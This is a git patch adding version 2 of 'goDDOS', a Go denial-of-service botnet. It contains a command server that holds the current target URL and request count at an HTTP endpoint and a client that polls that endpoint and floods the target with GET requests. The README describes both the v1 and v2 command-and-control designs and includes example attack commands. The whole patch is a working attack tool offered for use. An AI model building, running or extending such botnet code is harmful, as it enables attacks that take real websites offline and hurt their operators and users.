From 5a0b9b062a2fb235c4de546f38406749523e8c72 Mon Sep 17 00:00:00 2001 From: arnaucode Date: Thu, 24 May 2018 01:12:53 +0200 Subject: [PATCH] implemented v2 --- README.md | 24 ++++++++++++++ {client => v1/client}/main.go | 0 {server => v1/server}/main.go | 0 v2/client/main.go | 61 +++++++++++++++++++++++++++++++++++ v2/server/cli.go | 39 ++++++++++++++++++++++ v2/server/main.go | 53 ++++++++++++++++++++++++++++++ 6 files changed, 177 insertions(+) rename {client => v1/client}/main.go (100%) rename {server => v1/server}/main.go (100%) create mode 100644 v2/client/main.go create mode 100644 v2/server/cli.go create mode 100644 v2/server/main.go diff --git a/README.md b/README.md index 41a734e..b01aca4 100644 --- a/README.md +++ b/README.md @@ -5,9 +5,33 @@ https://en.wikipedia.org/wiki/Denial-of-service_attack ![Alt text](https://raw.githubusercontent.com/arnaucode/goDDOS/master/concept.png "concept") + + +### v1 +This version works as: +- the client every X time try to connect to the server +- when the server gets a new connection from a client, stores that connection in memory +- when a new order is written in the cmd of the server, sends that order to all the stored clients +- each client receive the order and starts the attack + example command line on the server: ``` ddos http://website.com 10 ddos [website] [num of gets for each client] ``` + +### v2 +This version works as: +- the server have an endpoint where is placed the current order +- each client every X time, performs a GET to the endpoint of the server, to see if there is any new order +- when a new order is written in the cmd of the server, it will return that order in the server endpoint +- then, the clients goes to the endpoint to get the order +- once the client have the order, starts the attack + +example command line on the server: +``` +http://website.com 10 + +[website] [num of gets for each client] +``` diff --git a/client/main.go b/v1/client/main.go similarity index 100% rename from client/main.go rename to v1/client/main.go diff --git a/server/main.go b/v1/server/main.go similarity index 100% rename from server/main.go rename to v1/server/main.go diff --git a/v2/client/main.go b/v2/client/main.go new file mode 100644 index 0000000..a93c793 --- /dev/null +++ b/v2/client/main.go @@ -0,0 +1,61 @@ +package main + +import ( + "encoding/json" + "fmt" + "log" + "net/http" + "strconv" + "time" + + "github.com/fatih/color" +) + +const SERVER = "127.0.0.1:3000" +const sleeptime = 3000 + +type Order struct { + Target string `json:"target"` + Count int `json:"count"` +} + +var order Order + +/* + note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development +*/ + +func runDos(target string, count int) { + for i := 0; i < count; i++ { + _, err := http.Get(target) + if err != nil { + fmt.Println(err) + } + color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target) + } + fmt.Print(time.Now().Format("2006-01-02 15:04:05")) + color.Green(" - all requests finalized") +} +func main() { + for { + fmt.Print(time.Now().Format("2006-01-02 15:04:05")) + fmt.Println(" - getting order from server") + res, err := http.Get("http://" + SERVER) + if err != nil { + fmt.Println("server not alive") + time.Sleep(sleeptime * time.Millisecond) + continue + } + decoder := json.NewDecoder(res.Body) + err = decoder.Decode(&order) + if err != nil { + log.Panic(err) + } + if order.Target != "" { + fmt.Print(time.Now().Format("2006-01-02 15:04:05")) + color.Yellow("running Dos") + runDos(order.Target, order.Count) + } + time.Sleep(sleeptime * time.Millisecond) + } +} diff --git a/v2/server/cli.go b/v2/server/cli.go new file mode 100644 index 0000000..931b928 --- /dev/null +++ b/v2/server/cli.go @@ -0,0 +1,39 @@ +package main + +import ( + "bufio" + "fmt" + "os" + "strconv" + "strings" +) + +//validURL checks if an url is a valid url +func validURL(url string) bool { + return true +} +func consoleInput() { //example: ddos http://web.com 4 + newcommand := bufio.NewReader(os.Stdin) + for { + fmt.Print("enter new order ([target] [count]): ") + text, _ := newcommand.ReadString('\n') + text = strings.TrimSpace(text) + if text != "" { + fmt.Println("console input command: " + text) + t := strings.Split(text, " ") + count, err := strconv.Atoi(t[1]) + if err != nil { + fmt.Println("[error]: count parameter must be an integer") + continue + } + if t[0] == "null" || t[0] == "none" { + t[0] = "" + } + if validURL(t[0]); count >= 0 { + currentOrder.Target = t[0] + currentOrder.Count = count + fmt.Println(currentOrder) + } + } + } +} diff --git a/v2/server/main.go b/v2/server/main.go new file mode 100644 index 0000000..6577a84 --- /dev/null +++ b/v2/server/main.go @@ -0,0 +1,53 @@ +package main + +import ( + "encoding/json" + "fmt" + "log" + "net/http" + + "github.com/fatih/color" +) + +const PORT = "3000" + +type Order struct { + Target string `json:"target"` + Count int `json:"count"` +} + +var currentOrder Order + +func getOrder(w http.ResponseWriter, r *http.Request) { + jsonr, err := json.Marshal(currentOrder) + if err != nil { + log.Panic(err) + } + fmt.Fprintln(w, string(jsonr)) +} + +func handleRequests() { + http.HandleFunc("/", getOrder) + log.Fatal(http.ListenAndServe(":"+PORT, nil)) +} + +func main() { + asciiTitle := ` + + _____ _____ ____ _____ + | __ \| __ \ / __ \ / ____| + __ _ ___ | | | | | | | | | | (___ + / _' |/ _ \| | | | | | | | | |\___ \ + | (_| | (_) | |__| | |__| | |__| |____) | + \__, |\___/|_____/|_____/ \____/|_____/ + __/ | + |___/ v.2 + ` + color.Blue(asciiTitle) + + fmt.Println("server running at port " + PORT) + + go consoleInput() + + handleRequests() +}